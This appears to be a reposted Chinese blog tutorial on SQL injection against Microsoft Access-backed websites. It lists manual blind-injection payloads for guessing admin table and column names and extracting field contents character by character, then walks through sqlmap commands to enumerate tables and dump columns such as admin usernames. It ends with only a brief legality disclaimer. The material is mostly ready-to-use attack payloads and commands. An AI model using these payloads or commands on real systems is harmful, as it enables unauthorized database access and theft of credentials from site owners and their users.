Access数据库SQL注入(Access SQL Injection)

一、Microsoft Office Access数据库手工注入语句 

1、参数后面加  ’ 、and 1=1、and 1=2看返回状态判断是否存在注入点 
2、参数后面加 and exists(select*from admin) 猜表名  返回正常页面表示存在(admin)
3、参数后面加 and exists(select username from admin)猜(admin)表中是否存在列名(username) 返回正常页面表示存在 
4、参数后面加 and (select top 1 len(username) from admin)=1 猜字段(username)长度(解释:username列中第一条记录的字符长度等于1 也可以用 大于号> 来判断,可以使用二分测试) 
5、参数后面加 and (select top 1 asc(mid(username,1,1))from admin)=97 猜字段(username)中第一条记录内容的第一个字符(字符替换成相应的ASCII码,ASCII码97表示a)
                    and (select top 1 asc(mid(username,2,1))from admin)=97 猜字段(username)中第一条记录内容的第二个字符 (字符替换成相应的ASCII码,ASCII码97表示a) 自己测,个数为第4步测出来的长度

二、Microsoft Office Access数据库SQLMAP注入语句

对sqlmap使用不熟悉的同学,请转到 https://www.cnblogs.com/iAmSoScArEd/articles/9263735.html 学习sqlmap基础用法

1、sqlmap -u "url" --tables 猜表名 (在这里只用修改url)  确定为access数据库后再按此文章执行

执行后可能会询问如下图中 1 所示,输入 y 然后回车 表示使用字典查询表名,然后会输出2 询问你是使用默认字典还是自定义 默认则直接按回车,需要自己设置 就输入2 然后回车。

上图中为使用默认字典跑出来的表名。

2、sqlmap -u "url" -T "表名" --columns 猜字段名  (表名为第一步跑出来的表名)

在这个步骤中依然会询问步骤一 图2中的问题,依然输入 y 回车,接着如果使用默认字典直接回车,若使用自定义字典输入2 然后回车。

 3、sqlmap -u "url" -T "表名" -C “字段1,字段2,字段3……” --dump 猜解表名中的字段内容 下图中包含步骤2猜解出来的字段

下图中包含表示admin字段爆出来的内容和结果,其中1显示了本次dump的结果保存的路径,2表示本次sqlmap扫描的日志文件路径

以上操作请在合法的范围内使用,请勿非法利用,谢谢!若造成损失由其自行承担,与本人无关。

猜你喜欢

转载自www.cnblogs.com/iAmSoScArEd/p/10575858.html